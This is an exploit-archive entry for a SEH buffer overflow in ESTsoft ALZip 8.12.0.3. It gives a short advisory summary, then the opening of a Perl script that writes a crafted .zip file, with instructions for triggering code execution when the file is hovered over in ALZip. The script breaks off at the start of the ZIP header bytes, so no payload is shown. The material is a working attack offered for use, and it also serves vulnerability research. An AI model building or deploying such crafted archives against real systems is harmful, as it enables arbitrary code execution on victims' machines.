ESTsoft ALZip 8.12.0.3 – ‘.zip’ Remote Buffer Overflow
source: https://www.securityfocus.com/bid/45917/info ESTsoft ALZip is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions. ESTsoft ALZip 8.12.0.3 is vulnerable; other versions may also be affected. # # #[+]Exploit Title: Exploit Buffer Overflow AlZip(SEH) #[+]Date: 01\19\2010 #[+]Author: C4SS!0 G0M3S #[+]Software Link: http://www.altools.com/al/downloads/alzip/ALZip812.exe #[+]Version: 8.12.0.3 #[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN #[+]CVE: N/A # # # #Note:Exploit for the work you have to run program in DOS # #C: \> Exploit.pl exploit.zip # #In this case my Exploit Creates the zip file exploit.zip #In the open ALZip Click "OPEN"pass the mouse over the specially crafted file and #keeps the mouse on top of the file does not click on it and wait then BOOM APPEARS THE CALC # #Watch This Video: http://www.youtube.com/watch?v=PTV_tZinI6w # # # ######### ## ######### ######### ## ############### # ######## #### ######### ######### ## ## ## # ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ## ## # ## ########## ######## ######## ## ## ## # ## ## ## ## ## ## ## # ## ## ## ## ## ## ## # ######## ## ######## ######### ## ## ## # ######## ## ######## ######### \/ ############### # # # # use strict; use warnings; system("cls"); system("color 4f"); sub USAGE { print q { ############################################# # # # Exploit Buffer Overflow AlZip(SEH) # # C4SS!0 G0M3S # # Louredo_@hotmail.com # # Site http://www.invasao.com.br # # # ############################################# [+]Exploit: Exploit Buffer Overflow AlZip(SEH) [+]Date: 01\\19\\2010 [+]Auhtor: C4SS!0 G0M3S [+]Home: http://www.invasao.com.br [+]E-mail: Louredo_@hotmail.com [+]Version: 8.12.0.3 [+]Impact: Critical Note: Look Comments Above for More Information as the Exploit Works }; } if($#ARGV!=0) { USAGE; print "[-]Usage: $0 <File_Name>\n"; print "[-]Exemple: $0 Exploit.zip\n"; exit(0); } my $sploitfile=$ARGV[0]; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
